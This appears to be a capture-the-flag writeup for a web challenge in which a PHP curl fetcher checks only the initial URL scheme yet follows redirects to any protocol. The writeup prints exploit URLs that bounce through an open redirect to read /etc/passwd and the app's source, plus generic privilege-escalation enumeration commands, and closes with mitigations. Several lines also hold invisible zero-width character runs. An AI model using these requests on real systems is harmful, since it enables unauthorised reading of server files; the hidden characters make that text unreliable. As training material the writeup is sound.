← Back to Writeups
HTBN/AWeb

Curl

XESXOR8/23/20263 min read
#web#htb#n/a

Curl

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: ssrf_via_redirect, protocol_bypass_via_open_redirect, curl_misconfiguration_exploit, local_file_read

Summary

Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: spbctf | ID: 20260315_spbctf_curl
  • Tags: ssrf, file_read, php, apache, curl, redirect_bypass, protocol_bypass, open_redirect, curlopt_followlocation, curlproto_all
  • Indicators: CURLOPT_FOLLOWLOCATION enabled, CURLOPT_PROTOCOLS = CURLPROTO_ALL, CURLOPT_REDIR_PROTOCOLS = CURLPROTO_ALL, HTTP-only URL validation with preg_match, curl_exec with user-controlled URL
  • Source: 20260315_spbctf_curl.md

Foothold

Vulnerability / Misconfiguration

  1. Ssrf_via_redirect
  2. Protocol_bypass_via_open_redirect
  3. Curl_misconfiguration_exploit
  4. Local_file_read
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ssrf_via_redirect
  • protocol_bypass_via_open_redirect
  • curl_misconfiguration_exploit
  • local_file_read
  • Tags: ssrf, file_read, php, apache, curl, redirect_bypass, protocol_bypass, open_redirect, curlopt_followlocation, curlproto_all

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.

Analysis

Initial Reconnaissance

  • Main page hint: "USE {GET: url} to get headers of url"
  • Response headers: Server: nginx/1.18.0 (Ubuntu) (reverse proxy), Content-Type: text/text;charset=UTF-8
  • Testing ?url=http://example.com — successfully fetched full body (not just headers as described) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SSRF Discovery

  • ?url=http://127.0.0.1/ — worked, returned the app itself. Revealed internal Server: Apache/2.4.18 (Ubuntu)
  • ?url=file:///etc/passwd — blocked with "ONLY HTTP(s) REQUESTS!" (protocol validation)
  • ?url=gopher://... and ?url=dict://... — also blocked
  • Error messages showed PHP's string(60) format from var_dump(), confirming PHP + curl_exec
  • ?url=http://127.0.0.1/server-status — Apache server-status accessible, revealed internal IP 10.111.3.22

Vulnerability Analysis

The application validates URL scheme with preg_match("#^(https?)://#is", ...) but has a critical misconfiguration:

  • CURLOPT_FOLLOWLOCATION => true — follows redirects
  • CURLOPT_PROTOCOLS => CURLPROTO_ALL — all protocols allowed
  • CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL — all protocols allowed after redirect ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means while the initial URL must be HTTP/HTTPS, curl will follow redirects to ANY protocol including file://.

Solution

Step 1: Protocol Check Bypass via Open Redirect

Used httpbin.org's open redirect endpoint to bypass the protocol check:

https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///etc/passwd

This worked! curl followed the HTTP 302 redirect to file:///etc/passwd and returned the file contents.

Step 2: Source Code Leak & Flag

Read the PHP source code: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///var/www/html/index.php

Full PHP Source Code Retrieved:

<?php
ini_set("display_errors", true);
error_reporting(E_ALL);
$flag = "REDACTED";
header("Content-Type: text/text");

if (!isset($_GET['url'])) {
    exit("USE {GET: url} to get headers of url");
}
if (!preg_match("#^(https?)://#is", $_GET['url']))
    exit("ONLY HTTP(s) REQUESTS!");
$ch = curl_init($_GET['url']);
curl_setopt_array($ch, [
    CURLOPT_HEADER => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_PROTOCOLS => CURLPROTO_ALL,
    CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL
]);
$result = curl_exec($ch);
if (!$result) {
    var_dump(curl_error($ch));
    exit();
}
print(explode(...));

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag was hardcoded in the source: $flag = "REDACTED";

Mitigation

To fix this vulnerability:

  1. Set CURLOPT_REDIR_PROTOCOLS to only allow HTTP/HTTPS: CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS
  2. Or disable redirects entirely: CURLOPT_FOLLOWLOCATION => false
  3. Validate the final URL after all redirects, not just the initial one ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR